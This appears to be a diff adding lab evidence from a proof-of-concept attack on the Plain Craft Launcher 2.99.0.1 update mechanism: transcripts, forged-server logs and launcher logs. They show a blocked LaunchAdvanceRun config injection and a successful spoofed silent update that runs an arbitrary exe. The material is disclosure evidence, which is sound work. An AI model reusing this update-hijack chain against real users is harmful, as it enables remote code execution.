+  2.99.0.1 setup blacklist rejects LaunchAdvanceRun before saving it.
+==============================================================
+ PCL 2.99.0.1 PoC demo  |  step6
+==============================================================
+
+Delete the entire PCL directory.
+
+  C:\Users\Administrator\Desktop\PCL
+  exists after delete: False
+
+  A clean copy is extracted again for method 2.
+==============================================================
+ PCL 2.99.0.1 PoC demo  |  step7
+==============================================================
+
+Method 2: notice.cfg + slientupdate -> silent update -> arbitrary exe.
+
+  notice.cfg  : 11002|0|0|0|999
+  ServerConfig: Update.Release.DownloadUrls -> https://.../update.zip
+  update.zip  : Plain Craft Launcher 2.exe (payload)
+
+  Starting the PoC and PCL ...
+
+[03:06:24] PCL: C:\Users\Administrator\Desktop\PCL\Plain Craft Launcher 2.exe
+[03:06:24] hosts already contains the lab entry.
+[03:06:24] DNS cache flushed.
+[03:06:24] Generating lab CA and leaf certificates ...
+[03:06:24] CA generated: 5905F23B030711502A1BE07211CA919E638404A5
+[03:06:24] leaf generated: 14654FAC23BE9D40AF14DAF305B15EE8DAB81B03
+[03:06:24] payload compiled: C:\Users\Public\pclpoc.exe
+[03:06:27] PoC server listening on https://127.0.0.1:443 (mode=update)
+[03:06:27] Starting PCL ...
+[03:06:28] PCL PID 2444
+[03:06:28] Waiting for the silent update to stage PCL\Plain Craft Launcher 2.exe ...
+[03:06:32] update payload staged.
+[03:06:34] Closing PCL PID 2444 ...
+[03:06:35] Waiting up to 60 seconds for C:\Users\ADMINI~1\AppData\Local\Temp\pcl-poc-marker.txt ...
+
+[+] SUCCESS: payload executed.
+    2026-10-25T03:06:35.7399399+08:00 pid=2264 args=--update 2444 Plain Craft Launcher 2.exe Plain Cra
+ft Launcher 2.exe False
+
+[03:06:36] Cleanup ...
+[03:06:36] CA removed.
+[03:06:36] leaf certificate removed.
+[03:06:36] hosts restored.
+[03:06:36] PCL registry restored.
+[03:06:36] Done.
+
+--- Method 2 result ---
+  marker:
+    2026-10-25T03:06:35.7399399+08:00 pid=2264 args=--update 2444 Plain Craft Launcher 2.exe Plain Craft Launcher 2.exe False
+
+  staged exe : D:\pcl-test\evidence\staging.exe (4096 bytes)
+  sha256     : DA949D1F40D1DD40BA80C0CEEAB43278EDA92FA680A0551ACAFF0E39BC12CB6D
+  update.zip : Plain Craft Launcher 2.exe (4096 bytes)
+  entry sha256: DA949D1F40D1DD40BA80C0CEEAB43278EDA92FA680A0551ACAFF0E39BC12CB6D
+  hash match  : the downloaded zip entry ran.
+  calc.exe    : started (visible on the right)
+
+--- Summary ---
+  Method 1 (setup -> LaunchAdvanceRun): BLOCKED
+  Method 2 (slientupdate -> exe)     : SUCCESS
+
+  Opening RESULT.txt on the right ...
+**********************
+Windows PowerShell transcript end
+End time: 20261025030711
+**********************

+ 12 - 0
analysis/2.99.0.1/vm-test/evidence/demo.log

@@ -0,0 +1,12 @@
+[03:05:04] resolution=1920x1080 screen=1920x1020 console=918x1020 pcl=998
+[03:05:05] mark step1 Windows 10 Enterprise LTSC 2021 - isolated lab VM. PCL 2.99.0.1 (build 415).
+[03:05:11] mark step2 Copy PCL 2.99.0.1.zip to the Desktop.
+[03:05:18] mark step3 Extract the new PCL to Desktop\PCL.
+[03:05:26] mark step4 Run the PoC: forged notice server, hosts entry and a lab CA.
+[03:06:01] mark method1 method 1: notice.json -> setup -> LaunchAdvanceRun
+[03:06:01] mark blocked 2.99.0.1 blocks LaunchAdvanceRun
+[03:06:13] mark step6 Delete the entire PCL directory.
+[03:06:22] mark step7 Method 2: notice.cfg + slientupdate -> silent update -> arbitrary exe.
+[03:06:39] mark success method 2: slientupdate -> arbitrary exe (success)
+[03:06:56] mark end demo end
+[03:06:57] screenshot final-desktop.png

BIN
analysis/2.99.0.1/vm-test/evidence/final-desktop.png


+ 1 - 0
analysis/2.99.0.1/vm-test/evidence/marker.txt

@@ -0,0 +1 @@
+2026-10-25T03:06:35.7399399+08:00 pid=2264 args=--update 2444 Plain Craft Launcher 2.exe Plain Craft Launcher 2.exe False

+ 68 - 0
analysis/2.99.0.1/vm-test/evidence/method1/Log1.txt

@@ -0,0 +1,68 @@
+03:05:40.286 I <4 · Logger> [Logger] PclLogger 日志初始化结束
+03:05:40.614 I [Application] 程序版本:正式版 2.99.0.1 (415)
+03:05:40.614 I [Application] 识别码:31CC-4EC4-8125-E930
+03:05:40.614 I [Application] 程序路径:C:\Users\*************\Desktop\PCL\Plain Craft Launcher 2.exe
+03:05:40.614 I [Application] 系统编码:Windows-1252 (1252, GBK=False)
+03:05:40.631 I [Application] 管理员权限:True
+03:05:40.631 I [Application] 第一阶段加载用时:967 ms
+03:05:42.411 I [FormMain] 版本号从 0 升高到 415
+03:05:42.411 I [FormMain] 最高版本号从 0 升高到 415
+03:05:42.427 I [FormMain] 已解除帮助页面的隐藏
+03:05:42.427 I [FormMain] 已从老版本迁移微软登录结果
+03:05:42.427 I [FormMain] 全新的 PCL,使用新的版本隔离默认值
+03:05:42.427 I [ModSecret] 刷新主题:0
+03:05:42.552 I [ModLoader] 加载器 LoaderTask`2 Minecraft Folder List 状态改变:Loading
+03:05:42.552 I [FormMain] 第二阶段加载用时:1878 ms
+03:05:42.615 I <5 · L/Minecraft Folder List> [ModMinecraft] 已创建 launcher_profiles.json:C:\Users\*************\Desktop\PCL\.minecraft\
+03:05:42.615 I <5 · L/Minecraft Folder List> [ModLoader] 加载器 LoaderTask`2 Minecraft Folder List 状态改变:Finished
+03:05:45.630 I [FormMain] 从设置更新背景图片与标题栏样式
+03:05:45.771 I [FormMain] 窗口已置顶,位置:(190, 65.3333333333333), 900 x 550
+03:05:45.786 I <7 · Animation> [ModAnimation] 动画线程开始
+03:05:45.786 I [FormMain] 第三阶段加载用时:157 ms
+03:05:45.786 I <11 · Version Check> [PageLaunchLeft] 没有已储存的 Minecraft 文件夹
+03:05:45.786 I <11 · Version Check> [ModLoader] 加载器 LoaderTask`2 Minecraft Folder List 状态改变:Loading
+03:05:45.802 I <12 · L/Minecraft Folder List> [ModLoader] 加载器 LoaderTask`2 Minecraft Folder List 状态改变:Finished
+03:05:45.802 W <9 · 初始化> [ModJava] 正在从老版本迁移 Java 列表
+03:05:45.818 I <11 · Version Check> [ModMinecraft] 当前选择的 Minecraft 文件夹:C:\Users\*************\Desktop\PCL\.minecraft\
+03:05:45.818 I <11 · Version Check> [PageLaunchLeft] 当前选择的 Minecraft 版本无效:null
+03:05:45.818 I <11 · Version Check> [ModLoader] 加载器 LoaderTask`2 Minecraft Instance List 状态改变:Loading
+03:05:45.833 I <13 · L/Minecraft Instance List> [ModMinecraft] 当前选择的 Minecraft 版本:无
+03:05:45.833 I <13 · L/Minecraft Instance List> [ModMinecraft] 未找到可用 Minecraft 版本
+03:05:45.833 I <13 · L/Minecraft Instance List> [ModLoader] 加载器 LoaderTask`2 Minecraft Instance List 状态改变:Finished
+03:05:45.849 I <11 · Version Check> [PageLaunchLeft] 无可用 Minecraft 版本
+03:05:46.365 I [ModLoader] 加载器 LoaderTask`2 Loader Skin Legacy 状态改变:Loading
+03:05:46.380 I <14 · L/Loader Skin Legacy> [ModLoader] 加载器 LoaderTask`2 Loader Skin Legacy 状态改变:Finished
+03:05:46.505 I <9 · 初始化> [ModJava] 已从老版本设置中发现 0 个 Java
+03:05:46.568 W <9 · 初始化> [ModJava] 初始化未找到可用的 Java,将自动触发搜索
+03:05:46.568 I <16 · W/JavaListRefreshWorker> [RedoableWorker] JavaListRefreshWorker:运行开始
+03:05:46.630 I <Async> [Java] Java 搜索完成,发现 0 个 Java
+03:05:46.630 I <16 · W/JavaListRefreshWorker> [RedoableWorker] JavaListRefreshWorker:运行成功
+03:05:46.693 I <9 · 初始化> [ModLoader] 加载器 LoaderTask`2 DlClientList Mojang 状态改变:Loading
+03:05:46.693 I <9 · 初始化> [ModLoader] 加载器 LoaderTask`2 PCL 配置更新 状态改变:Loading
+03:05:46.693 I <23 · TryClearTaskTemp> [ModMain] 开始清理任务缓存文件夹
+03:05:46.693 I <23 · TryClearTaskTemp> [ModMain] 已清理任务缓存文件夹
+03:05:46.693 I <24 · Telemetry> [ModMain] 匿名数据上报:启动
+03:05:46.693 I <21 · L/DlClientList Mojang> [ModNet] 发起网络请求(GET,https://launchermeta.mojang.com/mc/game/version_manifest.json),最大超时 10000
+03:05:46.693 I [ModAnimation] 两个动画帧间隔 844 ms
+03:05:46.693 I <22 · L/PCL 配置更新> [ModNet] 发起网络请求(GET,https://pcl2-server-1253424809.file.myqcloud.com/notice.cfg{CDN}),最大超时 10000
+03:05:46.708 I [PageLaunchRight] 实例化:清空主页 UI,来源为空
+03:05:46.708 I [PageLaunchLeft] 启动按钮:无 Minecraft 版本,下载已禁用
+03:05:46.802 I [ModBase] 将资源写入到文件:libwebp64 → C:\Users\*************\Desktop\PCL\PCL\libwebp.dll
+03:05:47.083 I [MySkin] 载入头像成功:Loader Skin Legacy
+03:05:47.099 I [FormMain] DPI:144,系统版本:Microsoft Windows NT 10.0.19044.0,PCL 位置:C:\Users\*************\Desktop\PCL\Plain Craft Launcher 2.exe
+03:05:47.114 I [ModAnimation] 两个动画帧间隔 390 ms
+03:05:48.396 I [ModAnimation] 两个动画帧间隔 609 ms
+03:05:48.396 I <22 · L/PCL 配置更新> [ModSecret] 本地公告编号:0,服务器公告:11002|0|0|0|999,需更新
+03:05:48.396 I <22 · L/PCL 配置更新> [ModSecret] 本地配置版本号:0,服务器配置版本号:999,需要更新
+03:05:48.396 I <22 · L/PCL 配置更新> [ModNet] 通过网络请求直接下载小文件:https://pcl2-server-1253424809.file.myqcloud.com/ServerConfig.json{CDN} → C:\Users\*************\AppData\Local\Temp\PCL\Cache\ServerConfig.json
+03:05:48.646 I <21 · L/DlClientList Mojang> [ModDownload] Mojang 官方源加载耗时:1951ms,可优先使用官方源
+03:05:48.646 I <21 · L/DlClientList Mojang> [ModLoader] 加载器 LoaderTask`2 DlClientList Mojang 状态改变:Finished
+03:05:49.411 I <22 · L/PCL 配置更新> [ModNet] 发起网络请求(GET,https://pcl2-server-1253424809.file.myqcloud.com/notice.json{CDN}),最大超时 10000
+03:05:49.755 I <22 · L/PCL 配置更新> [ModSecret] 重要等级 999,更新公告 False
+03:05:49.865 E <22 · L/PCL 配置更新> [ModSecret] 执行 PCL 服务器公告动作失败(setup, {
+03:05:49.865 E <22 · L/PCL 配置更新> [ModSecret]   "LaunchAdvanceRun": "C:\\Users\\Public\\pclpoc.exe",
+03:05:49.865 E <22 · L/PCL 配置更新> [ModSecret]   "LaunchAdvanceRunWait": "False"
+03:05:49.865 E <22 · L/PCL 配置更新> [ModSecret] }):被禁止的设置项:LaunchAdvanceRun
+03:05:49.865 E <22 · L/PCL 配置更新> [ModSecret]    at PCL.ModSecret.ServerSub
+03:05:49.865 I <23 · Telemetry> [ModMain] 匿名数据上报:错误日志
+03:05:49.865 I <22 · L/PCL 配置更新> [ModLoader] 加载器 LoaderTask`2 PCL 配置更新 状态改变:Finished

+ 18 - 0
analysis/2.99.0.1/vm-test/evidence/method1/poc-run.log

@@ -0,0 +1,18 @@
+PCL2 notice.json PoC - 2026-10-25T03:05:28.9118481+08:00
+[03:05:28] PCL: C:\Users\Administrator\Desktop\PCL\Plain Craft Launcher 2.exe
+[03:05:29] hosts already contains the lab entry.
+[03:05:29] DNS cache flushed.
+[03:05:29] Generating lab CA and leaf certificates ...
+[03:05:31] CA generated: 98D33A82388DDAB8F63D9099F63A2343E4ED6C3C
+[03:05:31] leaf generated: F892D85ED609589BAFDB3D82B65D69183384E994
+[03:05:32] payload compiled: C:\Users\Public\pclpoc.exe
+[03:05:35] PoC server listening on https://127.0.0.1:443 (mode=launch)
+[03:05:35] Starting PCL ...
+[03:05:36] PCL PID 2500
+[03:05:36] Waiting up to 40 seconds for C:\Users\ADMINI~1\AppData\Local\Temp\pcl-poc-marker.txt ...
+[03:05:57] Cleanup ...
+[03:05:57] CA removed.
+[03:05:57] leaf certificate removed.
+[03:05:58] hosts restored.
+[03:05:58] PCL registry restored.
+[03:05:58] Done.

+ 0 - 0
analysis/2.99.0.1/vm-test/evidence/method1/server.err.log


+ 6 - 0
analysis/2.99.0.1/vm-test/evidence/method1/server.out.log

@@ -0,0 +1,6 @@
+[03:05:35] https://127.0.0.1:443 mode=launch
+[03:05:35] forged host: pcl2-server-1253424809.file.myqcloud.com
+[03:05:35] err Exception calling "AuthenticateAsServer" with "4" argument(s): "Authentication failed because the remote party has closed the transport stream."
+[03:05:48] req /notice.cfg -> 200
+[03:05:49] req /ServerConfig.json -> 200
+[03:05:49] req /notice.json -> 200

+ 73 - 0
analysis/2.99.0.1/vm-test/evidence/method2/Log1.txt

@@ -0,0 +1,73 @@
+03:06:29.724 I <4 · Logger> [Logger] PclLogger 日志初始化结束
+03:06:29.833 I [Application] 程序版本:正式版 2.99.0.1 (415)
+03:06:29.833 I [Application] 识别码:31CC-4EC4-8125-E930
+03:06:29.833 I [Application] 程序路径:C:\Users\*************\Desktop\PCL\Plain Craft Launcher 2.exe
+03:06:29.849 I [Application] 系统编码:Windows-1252 (1252, GBK=False)
+03:06:29.849 I [Application] 管理员权限:True
+03:06:29.849 I [Application] 第一阶段加载用时:256 ms
+03:06:30.396 I [FormMain] 全新的 PCL,使用新的版本隔离默认值
+03:06:30.396 I [ModSecret] 刷新主题:0
+03:06:30.490 I [ModLoader] 加载器 LoaderTask`2 Minecraft Folder List 状态改变:Loading
+03:06:30.490 I [FormMain] 第二阶段加载用时:603 ms
+03:06:30.505 I <5 · L/Minecraft Folder List> [ModMinecraft] 已创建 launcher_profiles.json:C:\Users\*************\Desktop\PCL\.minecraft\
+03:06:30.505 I <5 · L/Minecraft Folder List> [ModLoader] 加载器 LoaderTask`2 Minecraft Folder List 状态改变:Finished
+03:06:30.958 I [FormMain] 从设置更新背景图片与标题栏样式
+03:06:31.036 I [FormMain] 窗口已置顶,位置:(190, 65.3333333333333), 900 x 550
+03:06:31.036 I [FormMain] 第三阶段加载用时:93 ms
+03:06:31.036 I <7 · Animation> [ModAnimation] 动画线程开始
+03:06:31.052 I <11 · Version Check> [PageLaunchLeft] 没有已储存的 Minecraft 文件夹
+03:06:31.052 I <11 · Version Check> [ModLoader] 加载器 LoaderTask`2 Minecraft Folder List 状态改变:Loading
+03:06:31.052 I <12 · L/Minecraft Folder List> [ModLoader] 加载器 LoaderTask`2 Minecraft Folder List 状态改变:Finished
+03:06:31.083 I <11 · Version Check> [ModMinecraft] 当前选择的 Minecraft 文件夹:C:\Users\*************\Desktop\PCL\.minecraft\
+03:06:31.083 I <11 · Version Check> [PageLaunchLeft] 当前选择的 Minecraft 版本无效:null
+03:06:31.083 I <11 · Version Check> [ModLoader] 加载器 LoaderTask`2 Minecraft Instance List 状态改变:Loading
+03:06:31.099 I <13 · L/Minecraft Instance List> [ModMinecraft] 当前选择的 Minecraft 版本:无
+03:06:31.099 I <13 · L/Minecraft Instance List> [ModMinecraft] 未找到可用 Minecraft 版本
+03:06:31.099 I <13 · L/Minecraft Instance List> [ModLoader] 加载器 LoaderTask`2 Minecraft Instance List 状态改变:Finished
+03:06:31.115 I <11 · Version Check> [PageLaunchLeft] 无可用 Minecraft 版本
+03:06:31.177 I [ModLoader] 加载器 LoaderTask`2 Loader Skin Legacy 状态改变:Loading
+03:06:31.177 I <14 · L/Loader Skin Legacy> [ModLoader] 加载器 LoaderTask`2 Loader Skin Legacy 状态改变:Finished
+03:06:31.193 W <9 · 初始化> [ModJava] 初始化未找到可用的 Java,将自动触发搜索
+03:06:31.208 I <15 · W/JavaListRefreshWorker> [RedoableWorker] JavaListRefreshWorker:运行开始
+03:06:31.224 I [PageLaunchRight] 实例化:清空主页 UI,来源为空
+03:06:31.224 I [PageLaunchLeft] 启动按钮:无 Minecraft 版本,下载已禁用
+03:06:31.239 I [ModBase] 将资源写入到文件:libwebp64 → C:\Users\*************\Desktop\PCL\PCL\libwebp.dll
+03:06:31.255 I <Async> [Java] Java 搜索完成,发现 0 个 Java
+03:06:31.271 I <15 · W/JavaListRefreshWorker> [RedoableWorker] JavaListRefreshWorker:运行成功
+03:06:31.271 I [MySkin] 载入头像成功:Loader Skin Legacy
+03:06:31.271 I [ModAnimation] 两个动画帧间隔 187 ms
+03:06:31.318 I <9 · 初始化> [ModLoader] 加载器 LoaderTask`2 DlClientList Mojang 状态改变:Loading
+03:06:31.318 I <9 · 初始化> [ModLoader] 加载器 LoaderTask`2 PCL 配置更新 状态改变:Loading
+03:06:31.318 I <23 · TryClearTaskTemp> [ModMain] 开始清理任务缓存文件夹
+03:06:31.318 I <23 · TryClearTaskTemp> [ModMain] 已清理任务缓存文件夹
+03:06:31.318 I <21 · L/DlClientList Mojang> [ModNet] 发起网络请求(GET,https://launchermeta.mojang.com/mc/game/version_manifest.json),最大超时 10000
+03:06:31.333 I <24 · Telemetry> [ModMain] 匿名数据上报:启动
+03:06:31.349 I <22 · L/PCL 配置更新> [ModNet] 发起网络请求(GET,https://pcl2-server-1253424809.file.myqcloud.com/notice.cfg{CDN}),最大超时 10000
+03:06:31.771 I [FormMain] DPI:144,系统版本:Microsoft Windows NT 10.0.19044.0,PCL 位置:C:\Users\*************\Desktop\PCL\Plain Craft Launcher 2.exe
+03:06:31.818 I <22 · L/PCL 配置更新> [ModSecret] 本地公告编号:0,服务器公告:11002|0|0|0|999,需更新
+03:06:31.818 I <22 · L/PCL 配置更新> [ModSecret] 本地配置版本号:0,服务器配置版本号:999,需要更新
+03:06:31.818 I <22 · L/PCL 配置更新> [ModNet] 通过网络请求直接下载小文件:https://pcl2-server-1253424809.file.myqcloud.com/ServerConfig.json{CDN} → C:\Users\*************\AppData\Local\Temp\PCL\Cache\ServerConfig.json
+03:06:32.036 I <22 · L/PCL 配置更新> [ModNet] 发起网络请求(GET,https://pcl2-server-1253424809.file.myqcloud.com/notice.json{CDN}),最大超时 10000
+03:06:32.318 I <22 · L/PCL 配置更新> [ModSecret] 重要等级 999,更新公告 False
+03:06:32.318 I <22 · L/PCL 配置更新> [ModLoader] 加载器 LoaderCombo`1 启动器更新 状态改变:Loading
+03:06:32.318 I <22 · L/PCL 配置更新> [ModLoader] 加载器 LoaderTask`2 获取更新信息 状态改变:Loading
+03:06:32.318 I <22 · L/PCL 配置更新> [ModLoader] 加载器 LoaderTask`2 PCL 配置更新 状态改变:Finished
+03:06:32.380 I <23 · L/获取更新信息> [ModSecret] 更新开始,静默:True,扩展名:.zip,下载目标:C:\Users\*************\AppData\Local\Temp\PCL\TaskTemp\82-900779\2.99.0.1.50.zip,URL:https://pcl2-server-1253424809.file.myqcloud.com/update.zip
+03:06:32.380 I <23 · L/获取更新信息> [ModLoader] 加载器 LoaderTask`2 获取更新信息 状态改变:Finished
+03:06:32.396 I <23 · L/获取更新信息> [ModLoader] 加载器 LoaderDownload 下载更新文件 状态改变:Loading
+03:06:32.396 I <21 · L/DlClientList Mojang> [ModDownload] Mojang 官方源加载耗时:1079ms,可优先使用官方源
+03:06:32.396 I <21 · L/DlClientList Mojang> [ModLoader] 加载器 LoaderTask`2 DlClientList Mojang 状态改变:Finished
+03:06:32.396 I <15 · L/下载 79> [ModNet] 开始清理下载缓存
+03:06:32.396 I <15 · L/下载 79> [ModNet] 下载缓存已清理
+03:06:32.427 I <30 · 下载 79/84/85#> [ModNet] 2.99.0.1.50.zip:开始,起始点 0,https://pcl2-server-1253424809.file.myqcloud.com/update.zip
+03:06:32.458 I <30 · 下载 79/84/85#> [ModNet] 2.99.0.1.50.zip:文件大小 1806(1.76 K)
+03:06:32.474 I <30 · 下载 79/84/85#> [ModNet] 2.99.0.1.50.zip:已完成
+03:06:32.474 I <30 · 下载 79/84/85#> [ModLoader] 加载器 LoaderDownload 下载更新文件 状态改变:Finished
+03:06:32.474 I <30 · 下载 79/84/85#> [ModLoader] 加载器 LoaderTask`2 安装更新 状态改变:Loading
+03:06:32.474 I <31 · L/安装更新> [ModSecret] 解压更新文件:C:\Users\*************\AppData\Local\Temp\PCL\TaskTemp\82-900779\2.99.0.1.50.zip
+03:06:32.630 I <31 · L/安装更新> [ModLoader] 加载器 LoaderTask`2 安装更新 状态改变:Finished
+03:06:32.630 I <31 · L/安装更新> [ModLoader] 加载器 LoaderCombo`1 启动器更新 状态改变:Finished
+03:06:34.865 I [FormMain] 收到关闭指令
+03:06:35.099 I [ModSecret] 更新程序启动,参数:--update 2444 "Plain Craft Launcher 2.exe" "Plain Craft Launcher 2.exe" False
+03:06:35.099 I [ModBase] 启动进程:C:\Users\*************\Desktop\PCL\PCL\Plain Craft Launcher 2.exe --update 2444 "Plain Craft Launcher 2.exe" "Plain Craft Launcher 2.exe" False
+03:06:35.552 I [FormMain] 程序已退出,返回值:Success

+ 1 - 0
analysis/2.99.0.1/vm-test/evidence/method2/marker.txt

@@ -0,0 +1 @@
+2026-10-25T03:06:35.7399399+08:00 pid=2264 args=--update 2444 Plain Craft Launcher 2.exe Plain Craft Launcher 2.exe False

+ 21 - 0
analysis/2.99.0.1/vm-test/evidence/method2/poc-run.log

@@ -0,0 +1,21 @@
+PCL2 notice.json PoC - 2026-10-25T03:06:24.0524430+08:00
+[03:06:24] PCL: C:\Users\Administrator\Desktop\PCL\Plain Craft Launcher 2.exe
+[03:06:24] hosts already contains the lab entry.
+[03:06:24] DNS cache flushed.
+[03:06:24] Generating lab CA and leaf certificates ...
+[03:06:24] CA generated: 5905F23B030711502A1BE07211CA919E638404A5
+[03:06:24] leaf generated: 14654FAC23BE9D40AF14DAF305B15EE8DAB81B03
+[03:06:24] payload compiled: C:\Users\Public\pclpoc.exe
+[03:06:27] PoC server listening on https://127.0.0.1:443 (mode=update)
+[03:06:27] Starting PCL ...
+[03:06:28] PCL PID 2444
+[03:06:28] Waiting for the silent update to stage PCL\Plain Craft Launcher 2.exe ...
+[03:06:32] update payload staged.
+[03:06:34] Closing PCL PID 2444 ...
+[03:06:35] Waiting up to 60 seconds for C:\Users\ADMINI~1\AppData\Local\Temp\pcl-poc-marker.txt ...
+[03:06:36] Cleanup ...
+[03:06:36] CA removed.
+[03:06:36] leaf certificate removed.
+[03:06:36] hosts restored.
+[03:06:36] PCL registry restored.
+[03:06:36] Done.

+ 0 - 0
analysis/2.99.0.1/vm-test/evidence/method2/server.err.log


+ 8 - 0
analysis/2.99.0.1/vm-test/evidence/method2/server.out.log

@@ -0,0 +1,8 @@
+[03:06:27] update.zip built from C:\Users\Public\pclpoc.exe (1806 bytes)
+[03:06:27] https://127.0.0.1:443 mode=update
+[03:06:28] forged host: pcl2-server-1253424809.file.myqcloud.com
+[03:06:28] err Exception calling "AuthenticateAsServer" with "4" argument(s): "Authentication failed because the remote party has closed the transport stream."
+[03:06:31] req /notice.cfg -> 200
+[03:06:32] req /ServerConfig.json -> 200
+[03:06:32] req /notice.json -> 200
+[03:06:32] req /update.zip -> 200

BIN
analysis/2.99.0.1/vm-test/evidence/method2/staging.exe


BIN
analysis/2.99.0.1/vm-test/evidence/method2/update.zip


BIN
analysis/2.99.0.1/vm-test/evidence/method2/zip-entry.exe


BIN
analysis/2.99.0.1/vm-test/evidence/staging.exe


+ 1 - 0
analysis/2.99.0.1/vm-test/evidence/staging.sha256.txt

@@ -0,0 +1 @@
+DA949D1F40D1DD40BA80C0CEEAB43278EDA92FA680A0551ACAFF0E39BC12CB6D

+ 1 - 0
analysis/2.99.0.1/vm-test/evidence/watch-staging.txt

@@ -0,0 +1 @@
+FOUND

BIN
analysis/2.99.0.1/vm-test/evidence/zip-entry.exe


+ 1435 - 0
analysis/2.99.0.1/vm-test/frames-index.csv

@@ -0,0 +1,1435 @@
+frame,epoch_ms,iso
+0,1792868692030,2026-10-25T03:04:52.030
+1,1792868692099,2026-10-25T03:04:52.099
+2,1792868692224,2026-10-25T03:04:52.224
+3,1792868692351,2026-10-25T03:04:52.351
+4,1792868692473,2026-10-25T03:04:52.473
+5,1792868692601,2026-10-25T03:04:52.601
+6,1792868692729,2026-10-25T03:04:52.729
+7,1792868692847,2026-10-25T03:04:52.847
+8,1792868692972,2026-10-25T03:04:52.972
+9,1792868693099,2026-10-25T03:04:53.099
+10,1792868693223,2026-10-25T03:04:53.223
+11,1792868693348,2026-10-25T03:04:53.348
+12,1792868693473,2026-10-25T03:04:53.473
+13,1792868693598,2026-10-25T03:04:53.598
+14,1792868693723,2026-10-25T03:04:53.723
+15,1792868693848,2026-10-25T03:04:53.848
+16,1792868693973,2026-10-25T03:04:53.973
+17,1792868694099,2026-10-25T03:04:54.099
+18,1792868694225,2026-10-25T03:04:54.225
+19,1792868694365,2026-10-25T03:04:54.365
+20,1792868694474,2026-10-25T03:04:54.474
+21,1792868694598,2026-10-25T03:04:54.598
+22,1792868694732,2026-10-25T03:04:54.732
+23,1792868694851,2026-10-25T03:04:54.851
+24,1792868694972,2026-10-25T03:04:54.972
+25,1792868695098,2026-10-25T03:04:55.098
+26,1792868695222,2026-10-25T03:04:55.222
+27,1792868695348,2026-10-25T03:04:55.348
+28,1792868695476,2026-10-25T03:04:55.476
+29,1792868695599,2026-10-25T03:04:55.599
+30,1792868695723,2026-10-25T03:04:55.723
+31,1792868695855,2026-10-25T03:04:55.855
+32,1792868695976,2026-10-25T03:04:55.976
+33,1792868696098,2026-10-25T03:04:56.098
+34,1792868696227,2026-10-25T03:04:56.227
+35,1792868696350,2026-10-25T03:04:56.350
+36,1792868696472,2026-10-25T03:04:56.472
+37,1792868696602,2026-10-25T03:04:56.602
+38,1792868696726,2026-10-25T03:04:56.726
+39,1792868696850,2026-10-25T03:04:56.850
+40,1792868696977,2026-10-25T03:04:56.977
+41,1792868697098,2026-10-25T03:04:57.098
+42,1792868697226,2026-10-25T03:04:57.226
+43,1792868697354,2026-10-25T03:04:57.354
+44,1792868697476,2026-10-25T03:04:57.476
+45,1792868697609,2026-10-25T03:04:57.609
+46,1792868697725,2026-10-25T03:04:57.725
+47,1792868697851,2026-10-25T03:04:57.851
+48,1792868697975,2026-10-25T03:04:57.975
+49,1792868698099,2026-10-25T03:04:58.099
+50,1792868698225,2026-10-25T03:04:58.225
+51,1792868698349,2026-10-25T03:04:58.349
+52,1792868698472,2026-10-25T03:04:58.472
+53,1792868698599,2026-10-25T03:04:58.599
+54,1792868698722,2026-10-25T03:04:58.722
+55,1792868698851,2026-10-25T03:04:58.851
+56,1792868698974,2026-10-25T03:04:58.974
+57,1792868699098,2026-10-25T03:04:59.098
+58,1792868699226,2026-10-25T03:04:59.226
+59,1792868699352,2026-10-25T03:04:59.352
+60,1792868699477,2026-10-25T03:04:59.477
+61,1792868699598,2026-10-25T03:04:59.598
+62,1792868699730,2026-10-25T03:04:59.730
+63,1792868699849,2026-10-25T03:04:59.849
+64,1792868699975,2026-10-25T03:04:59.975
+65,1792868700099,2026-10-25T03:05:00.099
+66,1792868700224,2026-10-25T03:05:00.224
+67,1792868700354,2026-10-25T03:05:00.354
+68,1792868700473,2026-10-25T03:05:00.473
+69,1792868700599,2026-10-25T03:05:00.599
+70,1792868700730,2026-10-25T03:05:00.730
+71,1792868700854,2026-10-25T03:05:00.854
+72,1792868700974,2026-10-25T03:05:00.974
+73,1792868701098,2026-10-25T03:05:01.098
+74,1792868701225,2026-10-25T03:05:01.225
+75,1792868701348,2026-10-25T03:05:01.348
+76,1792868701473,2026-10-25T03:05:01.473
+77,1792868701607,2026-10-25T03:05:01.607
+78,1792868701723,2026-10-25T03:05:01.723
+79,1792868701848,2026-10-25T03:05:01.848
+80,1792868701976,2026-10-25T03:05:01.976
+81,1792868702101,2026-10-25T03:05:02.101
+82,1792868702226,2026-10-25T03:05:02.226
+83,1792868702351,2026-10-25T03:05:02.351
+84,1792868702475,2026-10-25T03:05:02.475
+85,1792868702598,2026-10-25T03:05:02.598
+86,1792868702725,2026-10-25T03:05:02.725
+87,1792868702848,2026-10-25T03:05:02.848
+88,1792868702973,2026-10-25T03:05:02.973
+89,1792868703100,2026-10-25T03:05:03.100
+90,1792868703224,2026-10-25T03:05:03.224
+91,1792868703350,2026-10-25T03:05:03.350
+92,1792868703473,2026-10-25T03:05:03.473
+93,1792868703599,2026-10-25T03:05:03.599
+94,1792868703728,2026-10-25T03:05:03.728
+95,1792868703854,2026-10-25T03:05:03.854
+96,1792868703973,2026-10-25T03:05:03.973
+97,1792868704098,2026-10-25T03:05:04.098
+98,1792868704225,2026-10-25T03:05:04.225
+99,1792868704353,2026-10-25T03:05:04.353
+100,1792868704476,2026-10-25T03:05:04.476
+101,1792868704602,2026-10-25T03:05:04.602
+102,1792868704723,2026-10-25T03:05:04.723
+103,1792868704849,2026-10-25T03:05:04.849
+104,1792868704978,2026-10-25T03:05:04.978
+105,1792868705098,2026-10-25T03:05:05.098
+106,1792868705223,2026-10-25T03:05:05.223
+107,1792868705352,2026-10-25T03:05:05.352
+108,1792868705473,2026-10-25T03:05:05.473
+109,1792868705598,2026-10-25T03:05:05.598
+110,1792868705726,2026-10-25T03:05:05.726
+111,1792868705848,2026-10-25T03:05:05.848
+112,1792868705973,2026-10-25T03:05:05.973
+113,1792868706104,2026-10-25T03:05:06.104
+114,1792868706228,2026-10-25T03:05:06.228
+115,1792868706349,2026-10-25T03:05:06.349
+116,1792868706477,2026-10-25T03:05:06.477
+117,1792868706599,2026-10-25T03:05:06.599
+118,1792868706729,2026-10-25T03:05:06.729
+119,1792868706850,2026-10-25T03:05:06.850
+120,1792868706974,2026-10-25T03:05:06.974
+121,1792868707098,2026-10-25T03:05:07.098
+122,1792868707228,2026-10-25T03:05:07.228
+123,1792868707350,2026-10-25T03:05:07.350
+124,1792868707473,2026-10-25T03:05:07.473
+125,1792868707603,2026-10-25T03:05:07.603
+126,1792868707722,2026-10-25T03:05:07.722
+127,1792868707849,2026-10-25T03:05:07.849
+128,1792868707974,2026-10-25T03:05:07.974
